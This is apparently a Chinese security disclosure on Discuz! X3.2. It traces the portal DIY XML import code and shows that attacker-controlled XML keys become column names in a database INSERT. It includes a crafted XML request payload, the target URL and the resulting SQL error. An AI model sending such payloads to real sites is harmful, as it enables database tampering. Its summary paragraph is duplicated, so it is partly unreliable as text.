### 简要描述: Discuz! xxe 可破坏数据库结构,导致脏数据进入.......dz太变态了,小引号也过滤了,妹的,没办法只能分析到这里,但是隐约感觉到,这里存在很大的风险,因为改变了系统模板风格,先发个福利,大家自己看吧 ### 详细说明: 首先我们看文件: portalcp_diy.php(lines:301-324): ``` if (submitcheck('importsubmit')) { $isinner = false; $filename = ''; if($_POST['importfilename']) { $filename = DISCUZ_ROOT.'./template/default/portal/diyxml/'.$_POST['importfilename'].'.xml'; $isinner = true; } else { $upload = new discuz_upload(); $upload->init($_FILES['importfile'], 'temp'); $attach = $upload->attach; if(!$upload->error()) { $upload->save(); } if($upload->error()) { showmessage($upload->error(),'portal.php',array('status'=>$upload->error())); } else { $filename = $attach['target']; } } if($filename) { $arr = import_diy($filename); if(!$isinner) { @unlink($filename); } ``` 这里有一个import_diy函数,我们跟进去看看: function_portalcp(lines:580-680): ``` function import_diy($file) { global $_G; $css = ''; $html = array(); $arr = array(); $content = file_get_contents($file); require_once libfile('class/xml'); if...
### 简要描述: Discuz! xxe 可破坏数据库结构,导致脏数据进入.......dz太变态了,小引号也过滤了,妹的,没办法只能分析到这里,但是隐约感觉到,这里存在很大的风险,因为改变了系统模板风格,先发个福利,大家自己看吧 ### 详细说明: 首先我们看文件: portalcp_diy.php(lines:301-324): ``` if (submitcheck('importsubmit')) { $isinner = false; $filename = ''; if($_POST['importfilename']) { $filename = DISCUZ_ROOT.'./template/default/portal/diyxml/'.$_POST['importfilename'].'.xml'; $isinner = true; } else { $upload = new discuz_upload(); $upload->init($_FILES['importfile'], 'temp'); $attach = $upload->attach; if(!$upload->error()) { $upload->save(); } if($upload->error()) { showmessage($upload->error(),'portal.php',array('status'=>$upload->error())); } else { $filename = $attach['target']; } } if($filename) { $arr = import_diy($filename); if(!$isinner) { @unlink($filename); } ``` 这里有一个import_diy函数,我们跟进去看看: function_portalcp(lines:580-680): ``` function import_diy($file) { global $_G; $css = ''; $html = array(); $arr = array(); $content = file_get_contents($file); require_once libfile('class/xml'); if (empty($content)) return $arr; $content = preg_replace("/\<\!\-\-\[name\](.+?)\[\/name\]\-\-\>\s+/i", '', $content); $diycontent = xml2array($content); if ($diycontent) { foreach ($diycontent['layoutdata'] as $key => $value) { if (!empty($value)) getframeblock($value); } $newframe = array(); foreach ($_G['curtplframe'] as $value) { $newframe[] = $value['type'].random(6); } $mapping = array(); if (!empty($diycontent['blockdata'])) { $mapping = block_import($diycontent['blockdata']); unset($diycontent['blockdata']); } exit; ``` 这里我们在打一个exit,因为后面的代码没有意义,不去看他了 第一个地方$diycontent = xml2array($content); 这个函数就是把post过来的xml转换成为数组存起来: 赋值所以条件成立后,函数流向block_import,我们跟进去看看: function_portcp(lines:472-500): if($data['style']) { $hashes = $styles = array(); foreach($data['style'] as $value) { $hashes[] = $value['hash']; $styles[$value['hash']] = $value['styleid']; } C::t('common_block_style')->fetch_all_by_hash($hashes); if(!empty($hashes)) { foreach(C::t('common_block_style')->fetch_all_by_hash($hashes) as $value) { $id = $styles[$value['hash']]; $stylemapping[$id] = intval($value['styleid']); unset($styles[$value['hash']]); } } foreach($styles as $id) { $style = $data['style'][$id]; $style['styleid'] = ''; if(is_array($style['template'])) { $style['template'] = serialize($style['template']); } if(is_array($style['fields'])) { $style['fields'] = serialize($style['fields']); } echo $style; $newid = C::t('common_block_style')->insert($style, true); $stylemapping[$id] = $newid; } 在insert之前我们分析一下这个$style数据源 来源两个地方 一个是这$style = $data['style'][$id];,另外一个是这行代码之后赋值的东西 在网上看看有一句: $styles[$value['hash']] = $value['styleid']; 大家 恍然大悟了,这里存入数据库的key字段完全可控 下来分析代码缺陷到这里,我们直接构造请求包 请求的url: http://localhost/Discuz_X3.2_SC_UTF8https://images.seebug.org/upload/portal.php?mod=portalcp&ac=diy&op=import&inajax=1 发送的postdata: <?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="layoutdata"> <item id="k"> <item id="kk"><![CDATA[11]]></item> </item> </item> <item id="blockdata"> <item id="block"> <item id="k1k"><![CDATA[11]]></item> </item> <item id="style"> <item id="hash"><![CDATA[x]]></item> <item id="x"> <item id="x\``"><![CDATA[`=sss#]]></item> </item> </item> </item> </root> -----------------------------303962875023268 Content-Disposition: form-data; name="handlekey" -----------------------------303962875023268 Content-Disposition: form-data; name="importsubmit" true -----------------------------303962875023268 Content-Disposition: form-data; name="tpl" -----------------------------303962875023268 Content-Disposition: form-data; name="formhash" e17868ae -----------------------------303962875023268-- 我们请求一个后发现数据库报错了,当然了我们这里就是让它报错的,看看报错的位置: [<img src="https://images.seebug.org/upload/201409/1413291959cd184b9bc1a216dc5911799a2b2d0d.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1413291959cd184b9bc1a216dc5911799a2b2d0d.png) 这里数据库语句为: <div id="container"> <h1>Discuz! Database Error</h1> <div class='info'>(1054) Unknown column 'x\' in 'field list'<div class="sql">INSERT INTO common_block_style SET `x\`='`=sss#' , `styleid`=''</div></div> <div class="info"><p><strong>PHP Debug</strong></p><table cellpadding="5" cellspacing="1" width="100%" class="table"><tr 我们看看这个数据库字段定义: [<img src="https://images.seebug.org/upload/201409/1413304226cdfb240038f97faf0fe2d9ba3222d2.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1413304226cdfb240038f97faf0fe2d9ba3222d2.png) 这下明白了吧,set里面的字段完全可控,我们完全 可以控制其他本来不被控制的字段 [<img src="https://images.seebug.org/upload/201409/141337470d6ebebad286c346d9f1dff0358c80ce.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/141337470d6ebebad286c346d9f1dff0358c80ce.png) 这里就演示完毕,目前里面序列化的东西,还有后面的所有字段,都是可控,感觉潜在威胁很大,有qq公仔拿没有........ ### 漏洞证明: